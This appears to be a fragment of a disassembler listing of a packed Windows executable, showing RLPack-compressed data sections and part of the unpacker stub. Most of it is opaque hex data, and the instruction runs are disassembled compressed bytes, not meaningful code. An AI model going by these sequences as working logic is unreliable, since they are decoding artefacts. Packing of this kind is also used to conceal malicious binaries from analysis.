dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DF5A0 db 0 ; DATA XREF: sub_4206A9+5Co
; sub_4206A9+AFo ...
byte_4DF5A1 db 0 ; DATA XREF: sub_41C1A1+5Dr
; sub_4206A9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DF6A4 dd 0 ; sub_4206A9+12Bw ...
dword_4DF6A8 dd 0 ; sub_41ECD4+5r ...
dword_4DF6AC dd 0 ; sub_41E6A2+25Ar ...
dword_4DF6B0 dd 0 ; sub_41E6A2+311w ...
dword_4DF6B4 dd 0 ; sub_41E6A2+22Dr ...
dword_4DF6B8 dd 0 ; sub_41E677r ...
dword_4DF6BC dd 0 ; sub_41E677+8r ...
dword_4DF6C0 dd 0 ; sub_41BCE3+Fr ...
dword_4DF6C4 dd 370000h ; sub_41B9D2+C0r ...
dword_4DF6C8 dd 1 ; sub_41B9D2:loc_41BA02r ...
dword_4DF6CC dd 142340h ; sub_423756+Fr ...
dword_4DF6D0 dd 1 ; sub_4262F7r
dword_4DF6D4 dd 1 ; sub_420A6D+11w ...
dword_4DF6D8 dd 372718h ; sub_41D7A3+13r ...
dword_4DF6DC dd 372718h ; sub_41BFA3+57r ...
byte_4DF6E0 db 0 ; DATA XREF: sub_426FB4+15r
; sub_426FB4+1Ew
align 4
dd 247h dup(0)
dd 4434h, 6B5Eh, 861Eh, 0C034h, 0F51Eh, 16160h, 255F0h
dd 0
dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0
dd 0E0020h, 0
dd 0FFFFFFFFh, 0E005Ch, 0E0020h, 0
db 3 dup(0)
byte_4E004F db 0 ; DATA XREF: .packed:00433C65o
; .packed:00434495o
dd 5 dup(0)
db 0
byte_4E0065 db 3 dup(0) ; CODE XREF: .packed:004E00E0j
dd 0Dh dup(0)
db 2 dup(0)
word_4E009E dw 0 ; CODE XREF: .packed:004E00FEj
dd 3 dup(0)
dd 0AD000000h, 20003E2h, 40000h, 0F2A32A00h, 96F83251h
dd 0A6C7EF31h, 2883E2D8h, 0D88E7EADh, 6A6F9AC4h, 0CFDAh
dd 148E108h, 7F730E9h
db 0Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jb short near ptr byte_4E0065
jnz short near ptr loc_4E0117+1
cmp al, 45h
or [ecx], bh
dec eax
stc
cmp [ebp-10h], ah
db 67h
or al, bh
add [ebx], dh
rol byte ptr [edx+53h], cl ; CODE XREF: .packed:004E0125j
pop es
push esi
mov esi, [eax+0Ch]
push edi
inc ecx
fcmovbe st, st(3)
jecxz short near ptr word_4E009E
xor [eax+edi*8], al
jge short loc_4E017E
loc_4E0105: ; CODE XREF: .packed:loc_4E0117j
cli
add edi, esp
mov [ebp-2Ch], eax
add ecx, eax
mov eax, 0F868A6C3h
loc_4E0112: ; CODE XREF: .packed:004E012Cj
loopne loc_4E0153
dec ebx
dec edi
push es
loc_4E0117: ; CODE XREF: .packed:004E00E2j
jnz short loc_4E0105
add eax, 0C61C8136h
inc ebp
or edi, [esi]
pop ds
pop ebp
ror dh, 1
jge short near ptr loc_4E00F2+1
mov byte ptr [ebp-18h], 6
inc eax
loopne loc_4E0112
sbb ah, 74h
xor cl, [ebx]
mov edx, [edi+4]
push cs
loc_4E0137: ; CODE XREF: .packed:loc_4E0137j
jecxz short loc_4E0137
rep stosd
aaa
mov edx, 63EAC0Ch
push 5
test [ecx-4], bh
pop es
enter 59FFh, 8Bh ; CODE XREF: .packed:004E015Ej
jnz short near ptr loc_4E01CA+1
pusha
push ebp
or al, 0Fh
mov dh, 36h
loc_4E0153: ; CODE XREF: .packed:loc_4E0112j
add eax, ecx
loop near ptr loc_4E015E+1
or edx, esi
push dword ptr [edi]
sub cl, [ecx+64h]
loc_4E015E: ; CODE XREF: .packed:004E0155j
lock jnz short near ptr loc_4E0147+3
cmp [ebp+3Bh], ecx
sbb [edi-80h], dh
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 0B3F5h
; ---------------------------------------------------------------------------
dd 9B23A872h, 0F84DB1F0h, 0C1EC5680h
db 0E1h
byte_4E017D db 4 ; CODE XREF: .packed:004E0195j
; ---------------------------------------------------------------------------
loc_4E017E: ; CODE XREF: .packed:004E0103j
add ecx, ebx
push esp
cmp eax, 8D0601B2h
cmp al, 8Ah
jnb short loc_4E01A1
and al, 0C8h
or byte ptr [ebp-65h], 12h
xor [edx], bh
or dl, 0BAh
loopne near ptr byte_4E017D
xchg ecx, [ecx+0F8B3922h]
db 3Eh
lock popf
out dx, al
loc_4E01A1: ; CODE XREF: .packed:004E0188j
or eax, [ebx+7539F1AFh]
or al, 3Ch
cmp dword ptr [edi+1], 0FFFFFFFDh
mov byte ptr [eax-42h], 0A8h
out dx, al
sub esi, ecx
mov dword ptr [eax], 89530305h
aaa
sub [eax+75h], ch
cdq
sub dword ptr [edx+6AF0CC23h], 2A590805h
dec ebp
loc_4E01CA: ; CODE XREF: .packed:004E014Bj
aam 6
jmp near ptr 0EFE4F0A4h
; ---------------------------------------------------------------------------
db 46h, 0DCh, 0Ah
dd 342EC03h, 85F669F7h, 2A714h, 8D07F87Dh, 6CD80E8Ch, 8AC161Ch
dd 9F6C0F7Ah, 7CF040F3h, 0B9E8502Bh, 0C84C614h, 0F41C2C31h
dd 90F665D1h, 8750E06h, 0D11AE781h, 170C9C30h, 88E6ECEh
dd 48D84504h, 75115DA6h, 0E6C11B08h, 75C8F311h, 73F10910h
dd 67A25E1Fh, 0D250D8CEh, 3A89FF85h, 82B00F31h, 2919EBA7h
dd 0C62B48C2h, 0ED1D8E8Bh, 0A08030CEh, 8D0E89D8h, 1051254h
dd 0FA816774h, 189D7810h, 0EB02FF73h, 0C980A661h, 1F04087Ah
dd 0C4754891h, 1FCE2236h, 15147309h, 0EBF0311Bh, 146E4E12h
dd 42690F89h, 9F7C1967h, 1403F0A8h, 1D929276h, 5588040Eh
dd 0E1E7F0Bh, 2B200953h, 91059AE9h, 1F0A9932h, 0FD03FD6Dh
dd 129E098Bh, 60825106h, 0C1D18BA1h, 0CA9CC9EAh, 0DB4C52Dh
dd 0D4B0AAA6h, 8A948D13h, 0AC6E4824h, 43440A23h, 7DD9979h
dd 4E99E46Ah, 7E00CDCh, 1B782498h, 7DD91032h, 0EB914806h
dd 45C70714h, 4B35388h, 0C8C181ECh, 0F3E9D091h, 0DB69C354h
dd 9B0A8818h, 0BC8D035Ch, 5F49308Ah, 0A2D0E856h, 0D18B22C3h
dd 83B46839h, 0B279D5ABh, 0E583F8E1h, 44A1350Fh, 0ECCC0942h
dd 2931A68Ah, 8DC2808Bh, 19738E34h, 0E35BA1D2h, 58B7461Ah
dd 0E215543h, 2A4773E3h, 0A453BA44h, 0A203752Ch, 898660E0h
dd 840F1616h, 553F2151h, 337B2414h, 1F4C952h, 8DC19D0Fh
dd 7BC7094Ch, 2A8E9B7Eh, 0C8A0F8Eh, 1DF28811h, 0E916868Dh
dd 29625B13h, 4EC22B98h, 38289071h, 1356E0E9h, 14256492h
dd 60A282F2h, 0CA15C41Dh, 97894A7h, 377AEB32h, 90BA3254h
dd 48E4E43Dh, 0B124D317h, 0DC97E755h, 626E595Eh, 6B65F76Fh
dd 0B31A0414h, 0FDE1C149h, 460BB2EFh, 0D0F8A81Dh, 0A095B314h
dd 0C86EB384h, 855E484h, 22F2E411h, 9FD1425h, 9E30A97h
dd 6D0031ACh, 0FF33080Bh, 8EB4E98h, 998170E9h, 22F24445h
dd 5A1131D6h, 43BF9460h, 5C268861h, 2F04712Eh, 5802C433h
dd 65438C28h, 621EEB14h, 844089E3h, 91E908C9h, 89791041h
dd 73D2BC5Fh, 0D8FB5D54h, 1F422C4h, 0CEFDE351h, 9114A2E0h
dd 191186ADh, 0C9B243E6h, 91348906h, 0D1F31CEBh, 0A4DB7CB5h
dd 0B1142E17h, 0E336020Ah, 0E3FF4832h, 0EA95FA96h, 0C017505Eh
dd 2BE6D33Eh, 0FBB801FEh, 222C08B1h, 7A856E15h, 7676FB0h
dd 6DEEF41Ch, 0EBD84605h, 786A7203h, 0B228FD59h, 9C068C58h
dd 3E06C039h, 79B5BB8Bh, 0A71123AAh, 12DB9324h, 932EA1D0h
dd 6916919Eh, 0D6151CB5h, 0A22468h, 0A275089Dh, 4073EA83h
dd 670FA48h, 0D28C0FDAh, 3FCAF0D1h, 0E393F9D1h, 0CB130601h
dd 0E612C02h, 0F7DD8BEh, 0B07DC72Ch, 8F70A002h, 0EB0A40BCh
dd 0E9834309h, 13B3F04h, 0DB03E8D1h, 72B8EB39h, 0ADB2906h
dd 7596028Eh, 888F8DD0h, 0B8854CEAh, 0D8D10E04h, 331A4891h
dd 9908B447h, 8427E87Dh, 26B914F1h, 0F2158881h, 51B9DA07h
dd 919EBFFh, 0A1E97260h, 6625D1D5h, 4B0BE102h, 8D6E04E3h
dd 87013F7Ch, 7D10A99Eh, 896B439Ch, 0E0110326h, 3B0ECF8h
dd 27190F0h, 0DE3B02F4h, 0D423577h, 2BCE1CC0h, 0CF03CB06h
dd 3E4A118Ah, 3E8988F4h, 882E4146h, 899E8312h, 5744A0Eh
dd 7218A33Bh, 73A075E5h, 310FFA39h, 0E977AE82h, 330B87A0h
dd 9A8640C0h, 44F79611h, 75E6E010h, 46B40850h, 99570400h
dd 0F759096Ah, 7805EAF9h, 0E068F85Fh, 0A5A9610h, 0C93C0B6h
dd 7DE0F799h, 0F0E743FBh, 86E4859Ch, 0F44F0AA4h, 0FB2C0029h
dd 40EE590h, 0FF046A50h, 1E94C357h, 8DFC381Ch, 537D7EFCh
dd 0C683CAA0h, 1AAE096Ch, 6EE8FAF0h, 9A397EA1h, 0A34B0680h
dd 0C50021Eh, 0C38B5E5Fh, 48ABDD70h, 585A5082h, 4A840E0h
dd 18DAE133h, 70011420h, 680E7020h, 0E3100824h, 0E824F2ADh
dd 95B93584h, 28100292h, 0A4890505h, 70244BAFh, 0A238A063h
dd 0B080A94h, 0A00F015Eh, 0DD0082Ah, 8420E391h, 1C188383h
dd 4C087756h, 1C4AE11Dh, 434C108Ah, 701B8960h, 0FDD0E2ADh
dd 1C18883Dh, 78675250h, 571D8340h, 0F9683813h, 0E8027801h
dd 618E1D70h, 575309DCh, 0A47156h, 0ED815D0Dh, 8C134C30h
dd 0C043B58Dh, 0FC468B0Dh, 41DC083h, 0BDBCF02Bh, 3756A4DEh
dd 801C7609h, 2FBD8D03h, 0AD32C51Fh, 900220ABh, 48137B83h
dd 26017401h, 0F6854473h, 69B90EDCh, 0A7A38323h, 0FAA8407Bh
dd 0CFEFA4F3h, 391B5822h, 6F1A2F01h, 61630604h, 851EFFF9h
dd 46E8511Ch, 190F24Ah, 2C4E8B60h, 2B8D3189h, 23406A4Bh
dd 7B5124C7h, 2137958Ch, 27853089h, 0F6E8560Dh, 72C4BF92h
dd 85031DBDh, 949B0FC0h, 4028C164h, 52550C59h, 19E90E5h
dd 85349AC2h, 897761C9h, 8EC8549h, 4746C451h, 746E1806h
dd 958B0A7Bh, 8DCD1AAAh, 950DAE8Dh, 228A7544h, 2DEB0C3Ah
dd 8057C1F7h, 5213747Ch, 97C0E181h, 338D517Fh, 50310785h
dd 1F3F0E11h, 0A14C8940h, 5211D26h, 71C8ED60h, 3F526741h
dd 0D054D8D2h, 6A310D96h, 44AB8510h, 48C0331Ch, 0EB083140h
dd 370C8A8Ah, 2522DE12h, 81430575h, 70404B36h, 0F702030Eh
dd 83E906C6h, 9A3EC3C1h, 880B4289h, 2D2C225h, 9407F2B3h
dd 69577CD6h, 90141937h, 990FB548h, 20DA3BA6h, 0C7030C46h
dd 5F5E5D05h, 1588C35Bh, 0BBFC49C4h, 5B44E838h, 6EB810Dh
dd 0E0073F15h, 0CB030E30h, 93FF2451h, 0E92A49A9h, 146A2CBAh
dd 0D339C37Eh, 3B4DFB2Ch, 16740207h, 49BFEE52h, 0E29050C3h
dd 45C03393h, 0C2835AABh, 0E4EB2C04h, 6AC3007h, 0AFCDC575h
dd 83041EC9h, 51F4017Ah, 0C144CDD0h, 5D08B866h, 0AD249E10h
dd 30787BDh, 889E0C2h, 99A6F4EBh, 53BA0C46h, 0E2E82156h
dd 8E1A165Ch, 81C9493Eh, 0A743C58h, 0FE240B62h, 0EB500430h
dd 892E9C07h, 0FF85501h, 0A91046B7h, 751DAA62h, 0FBA9E57Dh
dd 84428732h, 606C7AADh, 40C7FC92h, 36C0125Eh, 0FF87503h
dd 347DCF3Bh, 0C0460625h, 5501D0B0h, 0E82CFC1Eh, 0A074D3CFh
dd 0D78AC8FEh, 2A1C6375h, 0DB0C23Ah, 0E839C166h, 10C08408h
dd 1ED1C486h, 807C0106h, 0FD04C61Ch, 0EB410473h, 90595EC8h
dd 741446BEh, 2A3B3537h, 0AB8A3055h, 4C16F711h, 78E9C21Fh
dd 355AF0FDh, 98E5117h, 3400F839h, 6602EC83h, 122E76FEh
dd 0A708D652h, 8E5918FEh, 3FB0491Ch, 47E6574Dh, 0B1E542B3h
dd 0DF1F1741h, 5027A6BEh, 0CD0ADEE5h, 642CED43h, 264D7443h
dd 185E73E0h, 84B287Dh, 0C171F8B2h, 0F302F90Bh, 832D03A5h
dd 0FF91EDE1h, 1643047Bh, 52A43DFAh, 7C19D1A8h, 12CA42ABh
dd 7BD35AAAh, 3D32683Bh, 0A604D232h, 0A27505C3h, 0E321A26Ah
dd 39C8A54h, 402479Ah, 5251F00Eh, 0CA918D56h, 0D6458A46h
dd 98BB8942h, 0B8EC7DBFh, 486ED426h, 14C82B1Eh, 5EA8B236h
dd 0C47C2099h, 0B103047Ch, 0D0BB465Dh, 0F40E4862h, 84BC952h
dd 0A8724BF5h, 0C72F8B19h, 671EBF51h, 0D067EC06h, 7440C8E1h
dd 77B54BC6h, 29125146h, 7F361506h, 6BBED8Fh, 5ACAEB09h
dd 0FA901BACh, 307D3B3Eh, 0EBF90E75h, 0CCDAA311h, 0C706409Fh
dd 0AA0FFF05h, 0C731090h, 2B7DE073h, 0B8499CD4h, 4ECEE35Eh
dd 0AB0B45DAh, 2DB40840h, 0CF402D92h, 18DF6CBh, 529B2C7Fh
dd 829276D0h, 515C394Ch, 7406D4B6h, 8032437h, 8343893Eh
dd 0D40C4E51h, 107ECED0h, 21FF6785h, 5750A07Bh, 0E8275351h
dd 42DA91Fh, 888D481Bh, 0A98084DFh, 9CC5EB14h, 736DE073h
dd 0D6E56276h
dd 0C7C2E465h, 0C45201Ah, 0B1968389h, 4210D0B6h, 46F61CAEh
dd 0EF938B44h, 0AF384EB1h, 83D25873h, 5922A79Fh, 30E1C085h
dd 0A1EBCD4Eh, 1012634Eh, 0C9D0EB3Bh, 17DCE65h, 851455B1h
dd 0F502E9D2h, 8AF6D9D6h, 6EC7F20Dh, 7E3E8AA1h, 4474B8C2h
dd 0A97F9152h, 9842538h, 6A23E425h, 0E5AEBE0h, 4103F405h
dd 0CF66D6D3h, 8C405183h, 1F2249B3h, 86685A69h, 0B04D6F6Ch
dd 9602E4B9h, 8ABB2C54h, 239DACEBh, 84B9569Ch, 6F55FC44h
dd 2AF35C7Bh, 0F12B3006h, 0E8D2D089h, 3B1C1290h, 660C484Dh
dd 0F3EB410Ah, 6B61FA36h, 4B6D27FCh, 20111A2Ah, 0B6055E1Ch
dd 0B9203C40h, 38D1448h, 8318017Ch, 0CFD027C7h, 60B0E9C1h
dd 5132E173h, 0DB50768Dh, 3A82254Bh, 8A011EFBh, 0F641A807h
dd 88D12C04h, 1D4459E1h, 0E51EE750h, 6542A58Eh, 0DAC85C8h
dd 177A9AA5h, 0CAA79022h, 3390250Ch, 5CAFFAA7h, 4A69CF42h
dd 0B2017BCAh, 0A380B88Dh, 8B78AB2Dh, 89341556h, 32BDA617h
dd 41C7BB48h, 696C1070h, 74746163h, 206E6F07h, 0DC1E7265h
dd 9D1253F8h, 751720F7h, 32E6EFFh, 0EF656854h, 0EC633C8Ch
dd 1BDBFF64h, 35732514h, 97E76CCBh, 0D474676Eh, 0EDBE1E62h
dd 69FD3661h, 53E364BBh, 478E4C44h, 82CC3584h, 6E612C64h
dd 33F4206Ch, 242A38AFh, 639D2757h, 2848362Fh, 389B7375h
dd 4D3B3233h, 7B61F278h, 6F420E67h, 770F4178h, 78638F74h
dd 14376674h, 6C8E386Bh, 0A453F6Ch, 50746978h, 0C14C4DA4h
dd 68C0B043h, 786E6148h, 4FC0FD64h, 0B1E2F570h, 74FC4718h
dd 0C442F54Dh, 71C9B6Ch, 7269567Ch, 34A0FA74h, 638E0F41h
dd 2A9A6E52h, 9A649376h, 8E488209h, 0F4A3AB95h, 0CC6D0138h
dd 0EB09D339h, 3C125089h, 30324825h, 9C49697Ah, 19A5098Dh
dd 0EE010A81h, 8B6000D8h, 8B242474h, 0FC28247Ch, 0DB3380B2h
dd 0E802B3A4h, 6Dh, 0C933F673h, 64E8h, 331C7300h, 5BE8C0h
dd 23730000h, 0B04102B3h, 4FE810h, 0C0120000h, 3F75F773h
dd 0E8D4EBAAh, 4Dh, 1075CB2Bh, 42E8h, 0AC28EB00h, 4D74E8D1h
dd 1CEBC913h, 0E0C14891h, 2CE8AC08h, 3D000000h, 7D00h
dd 0FC800A73h, 83067305h, 2777FF8h, 8B954141h, 5601B3C5h
dd 0F02BF78Bh, 0EB5EA4F3h, 75D2028Eh, 46168A05h, 33C3D212h
dd 0EEE841C9h, 13FFFFFFh, 0FFE7E8C9h, 0F272FFFFh, 247C2BC3h
dd 247C8928h, 0CC2611Ch, 0
dd 0E00D4h, 1660h, 964h, 0E0BCEh, 0E0028h, 0E002Ch, 400000h
dd 7C801D77h, 7C80ADA0h, 4DFA25B8h, 9E888DF0h, 89100012h
dd 548B0141h, 528B0424h, 0E902C60Ch, 2B05C283h, 0FC4A89CAh
dd 0B8C3C033h, 0F04DFA25h, 58F64h, 83000000h, 535504C4h
dd 52565751h, 1257988Dh, 538B1000h, 0E88B5218h, 68406Ah
dd 0FF000010h, 6A0473h, 3104B8Bh, 0FF018BCAh, 0F88B5AD0h
dd 338B5250h, 320438Bh, 89088BC2h, 438B204Bh, 8BC2031Ch
dd 1C4B8908h, 4B8BF203h, 8DCA030Ch, 57501C43h, 5AD1FF56h
dd 8430358h, 8B52F88Bh, 0FC468BF0h, 2B04C083h, 85689F0h
dd 890C4B8Bh, 0D7FF144Eh, 133F8589h, 0F08B1000h, 5A144B8Bh
dd 0CA030CEBh, 800068h, 57006A00h, 0C68B11FFh, 595F5E5Ah
dd 0E0FF5D5Bh, 41E133h, 4A6h dup(0)
_packed ends
; Section 2. (virtual address 000E2000)
; Virtual size : 00023385 ( 144261.)
; Section size in file : 00023385 ( 144261.)
; Offset to raw data for section: 000E2000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_RLPack segment para public 'CODE' use32
assume cs:_RLPack
;org 4E2000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
dd 0CA01CB8h, 6450034Eh, 38635FFh, 257089EEh, 0F0C03388h
dd 45500008h, 706D6F43h, 74386361h, 0C1D70032h, 0F1412A7h
dd 0D3DE003Ch, 0B401FE93h, 0EE00ED41h, 6E833AC3h, 8BCE76h
dd 0E97E893Bh, 0A3C72C0Bh, 340322F0h, 0EDE18F1Eh, 8B0C9064h
dd 234F38F8h, 0EF80E0BDh, 2B8CC98Ah, 3301852Eh, 1B5810C5h
dd 14E809C7h, 48F4003Fh, 692E44BDh, 1F0075A3h, 0E4C3F763h
dd 0BC4D17h, 0ECAC54D7h, 8CFC7346h, 5F7FB300h, 0F8FE555Bh
dd 0A5761F2Ch, 82860032h, 2E0C9F6Ch, 6803E91Eh, 29A99BC0h
dd 7D6440h, 0B08A0F41h, 488E52DCh, 1FDB838h, 0CAF08566h
dd 0D3EC10AFh, 5BB400F6h, 0E569C15Fh, 197C8296h, 0BA0F6D00h
dd 0ACA9341Eh, 7A0C0099h, 0C6A05754h, 2A010612h, 0E3114FB7h
dd 0F3E4670Fh, 94A4A069h, 52560097h, 0DD5A9DBFh, 0F23833EFh
dd 0F67F80D0h, 0EBD4C77h, 1F94013Ch, 3F206812h, 0FAC0CBBBh
dd 0AB001072h, 0F40B5D27h, 70BDF7h, 85D2C3AFh, 7CFEEF17h
dd 20C46A00h, 0DE35D7ABh, 0E62100D6h, 746D218h, 743DF49Fh
dd 0AA4D006Ah, 8FBB9522h, 5F630060h, 85C2AE17h, 7B008105h
dd 3A33AC0h, 0E45A9CBh, 0C8C63F09h, 3C12001Ch, 0D0B21440h
dd 9F00F67Ah, 7A57EA16h, 16C6329h, 0E8933028h, 0E09E7490h
dd 0FC00D397h, 0E01FC1C2h, 73541Bh, 0CB9C1ABCh, 2ABB760Eh
dd 0DF996903h, 0DBEF7F49h, 6214A191h, 0D2A7C0h, 0E26A3D4Eh
dd 8483909h, 52819B00h, 0B5202CC3h, 760A0064h, 33863B8Ah
dd 0BB072370h, 0A468377Fh, 0C136D010h, 0E2EE99h, 0D615E32h
dd 0DC633E7Ch, 74A0DA1Ch, 0BB1B00BDh, 7DEE798Eh, 8F7A0075h
dd 2291F864h, 0F600153Ch, 0A52BC608h, 7CB88914h, 545800A4h
dd 8BDB4AF1h, 680078B2h, 404BC6FCh, 0F36ED28h, 0C4298637h
dd 0F16EB00h, 0F50045A8h, 0EFA2483Bh, 0C0FCFDh, 0DFEE615Dh
dd 4449A428h, 350041FCh, 11D7CA22h, 1B8F9Bh, 219F2004h
dd 0CE8A9EE9h, 0C750F900h, 78EAC66Bh, 157300F8h, 5E8E9528h
dd 0B90002B3h, 6435B416h, 0FFCA3Ah, 0AB776B18h, 0C28CA626h
dd 0ADBBF60Fh, 53E2403Fh, 2F3198h, 447B3997h, 0B884A3E7h
dd 4B23C101h, 4F9EB1BBh, 3D0121FCh, 0A600F148h, 0D9DF817Ch
dd 407AE65h, 0DD151131h, 8961C6D7h, 0E8C84F9Fh, 14BCC046h
dd 0C95DB5DCh, 0DCFD04F6h, 4300B8E4h, 447DB4FBh, 0E87233h
dd 8FA3F41Bh, 0E0CFD008h, 0D2491E00h, 586EC484h, 0A6C9002Ch
dd 5260ADF3h, 0F4E1E873h, 627ED80Ch, 834DA100h, 0B55325D2h
dd 0A9F100F2h, 5EA34C6Bh, 5F39EED3h, 91D0835Ah, 0C03595F6h
dd 0CD64BBh, 0ECE8492Eh, 3CF7CC7h, 7E75021Ch, 1BA2F5C0h
dd 0B6005h, 306E1AFCh, 64E7EC61h, 93DEFB00h, 3FEA0A9Ch
dd 3D32E247h, 2D005204h, 0B6B7E5C5h, 3C0EF7A9h, 0D9A1EAh
dd 0C955B8D8h, 2D72C6h, 0B4BA85FFh, 6CE5369Eh, 7C3E0300h
dd 693D3464h, 5FCA0023h, 0A69DED74h, 0DF008020h, 0B816770Ch
dd 90B1E47Ah, 780A00DEh, 0B423B067h, 0CC7C80BCh, 81FF0900h
dd 949CA213h, 5F8800E6h, 84EE584Ah, 1E00C4ECh, 31082FBh
dd 1D5A2029h, 40CD5979h, 322C9323h, 0C200DD5Bh, 578F0405h
dd 763D34Dh, 0B402619Dh, 8E68027h, 390029D9h, 358F03C0h
dd 7B1E84B6h, 691C0056h, 155E7F6h, 0E1005B73h, 0BC14818Bh
dd 397ADh, 79AA928Ah, 542A7522h, 96606726h, 4F58C800h
dd 0E12513Ch, 0C1B21116h, 42F17640h, 933999FFh, 0AEF78061h
dd 67847E4Bh, 13BE767Ah, 1E705Bh, 583521BAh, 1800B307h
dd 0C1087F95h, 6782B6h, 0DC4D6099h, 0A9134617h, 0E107AF00h
dd 0F444D5C6h, 0BAC00068h, 852ABFB0h, 1003936Dh, 0B948F265h
dd 0FA29E057h, 0CAC500FCh, 0A2016384h, 0A00B849h, 952F8EDAh
dd 70335DCh, 0E8E32C59h, 5694D0A7h, 5701C467h, 2979F3F0h
dd 0A1C024BAh, 0C710044h, 0A59647C3h, 0EF0028A7h, 0A9BC0F5h
dd 7BFC35h, 1F2C8A79h, 1B83DDA4h, 74CBEE24h, 65CC39h, 0DAEA4856h
dd 0F4A8CCEh, 0CDF1B505h, 0E13C83A3h, 88E347D0h, 3960201Eh
dd 0B4ED640h, 8B4CD3h, 46FB3741h, 0A56A0895h, 2AFB300h
dd 34C12842h, 3F990FDBh, 29008241h, 199BA39Ch, 5400BB79h
dd 11858C0Eh, 6F9160h, 0A6550F36h, 251C1F2Bh, 6824B201h
dd 77FDA5AFh, 19FCF4h, 8DC9A122h, 63C7A416h, 857C9600h
dd 46CA4436h, 19C100D8h, 3E42614Eh, 0FE006315h, 0E2FBEAC2h
dd 0E9319Dh, 49A9C4E5h, 3A95116Eh, 22DB1500h, 7FE2DD86h
dd 16540090h, 685079C5h, 0E902B64Ch, 527D374Eh, 0AECE60F6h
dd 0FB4000Eh, 6ACC3EB9h, 0F7077C63h, 8926A281h, 78845010h
dd 7C679E3h, 0E8C1DF36h, 0FAC5F0F2h, 0D0F9EB0h, 0E06DB3A4h
dd 0D477B737h, 40DC00E9h, 1B76146Eh, 5DE846D5h, 3C9EA900h
dd 2DBF33F4h, 6AD10078h, 8C950485h, 4250AFFEh, 230060D1h
dd 0C6D33ADBh, 1C4F68A7h, 40B09F6Dh, 973DAE0Ah, 2301EAF6h
dd 0A7C736BFh, 51EC753Fh, 0A3503EDBh, 8FB6F900h, 0EF5A8103h
dd 0CDFE5700h, 0ED4DE0C1h, 3D330ECFh, 0C940D034h, 3698A670h
dd 274CD903h, 8BF682FAh, 0F57480ABh, 0FC5C00ADh, 62493E05h
dd 2700F914h, 8958B1C4h, 17D1B7h, 5C821652h, 0EEFB39F4h
dd 38C37700h, 2580C68Ah, 3F2DF622h, 8603C536h, 2E87A328h
dd 0EF1BDBC8h, 0FA9D3500h, 0B1D472B5h, 98430103h, 0F5E61395h
dd 6F3BE019h, 0D74DB01Ch, 0A1EEFC00h, 9BCD38h, 656432FEh
dd 332A10CFh, 0BF005D73h, 0ED8382BCh, 4EA715h, 4CA97F40h
dd 0E43E3728h, 0F12F9ECh, 0EA0EEE24h, 6A30C047h, 7ACC5Fh
dd 0B5ADEE6h, 0C1044A22h, 3D666F12h, 0E9763100h, 3BB9B2Ch
dd 0F1532834h, 64F0E290h, 48735B3Ch, 0D1EC630Fh, 9C42207Fh
dd 3CF78BA9h, 0A7803309h, 0EE55992Dh, 0F448A410h, 0AD6A0092h
dd 0C80AA937h, 88190397h, 3EA61408h, 0C242F000h, 0CCDAA0F4h
dd 0B2860095h, 5A7EA40Ch, 9EA1848h, 1382F002h, 404ECBD0h
dd 5C0F5880h, 3100FBCFh, 0E9BC5F3Ah, 8F00CC49h, 0BF77437Bh
dd 0F585D40h, 0D2B2F490h, 98E17A41h, 0FB67D001h, 3538F03h
dd 0C03B1E60h, 7959FEEh, 4CC16E74h, 0F24A00D0h, 4375D468h
dd 0CCF7C800h, 0E88C0CE6h, 363302E7h, 0DF8BDC18h, 0BFFB7CE0h
dd 82961A00h, 0C3F5D0CBh, 4C0900F4h, 0C615751Ch, 743ACAA3h
dd 70007569h, 1BADB22Dh, 4DF741h, 0E2AA949Eh, 8E95768h
dd 37CC6726h, 93404900h, 3FD09Bh, 850CCDADh, 0D83DDCA3h
dd 14EF2400h, 1E74B1B0h, 0CADD03C1h, 3E8FBC01h, 0F46032F0h
dd 96730F00h, 2059AD40h, 7167000Ah, 0CF6127C8h, 603F33A1h
dd 4B9480B7h, 0ED9DDD74h, 0F862002Bh, 3507C78Fh, 0C20064DAh
dd 757FA444h, 7A6FB6ADh, 3697009Ch, 966171D8h, 0DC039D4Ah
dd 0DB8E69CAh, 0B4B3B02Dh, 0AE5200F9h, 7161832Ah, 12005F0Fh
dd 58CF84A9h, 46D47Ah, 5D13E50Eh, 5FF52823h, 624C481Eh
dd 17DDB300h, 4D7DBAh, 0F8612270h, 33B1811Ch, 0A006F600h
dd 4A6BE31Ah, 2A230035h, 52F0AB8Bh, 0BF015856h, 66532CA6h
dd 5AF41E31h, 9F03004Dh, 0E950DEB2h, 0A4006083h, 14D53681h
dd 78DCE2EFh, 5985002Ah, 0B1F5292Dh, 0A3001FF9h, 0C191C037h
dd 90405F8Ch, 82150113h, 0F8E678C9h, 0AAA1E4F4h, 0D2BEE430h
dd 6B33Ch, 1E3A51FDh, 40335FC6h, 9EF6900h, 190F8CCDh, 10760080h
dd 0E4C3BC05h, 3F1E2C1Bh, 0E6C384B0h, 90ED3545h, 37F608h
dd 5BC5DB57h, 0B67AFFD8h, 0A219A224h, 80D31100h, 1635245h
dd 9537085Fh, 0DDDFF74Fh, 9693DCE4h, 49472000h, 0BC9189F4h
dd 1BE0008Dh, 0AE44BA03h, 0F007C12Fh, 41A6C674h, 0DCA49C60h
dd 9FD300FBh, 6FAD191Bh, 3A1CD25Fh, 0D682DDFEh, 0C0EC570Eh
dd 3EEDB1C8h, 0B866BA2h, 50362E45h, 1021712h, 0D2A9B200h
dd 2BBA48h, 24FC8A6Dh, 13A6720Ch, 4FC5530Bh, 4B6580F4h
dd 5D16DAh, 0AC594875h, 4EA3C006h, 70C5320Fh, 0F0426301h
dd 2E7B026h, 78D80004h, 0EF07E47Dh, 21EE8EEDh, 82C15B00h
dd 3057432Dh, 5F8100BFh, 0BB87E420h, 0C901C76Bh, 6039AA0Fh
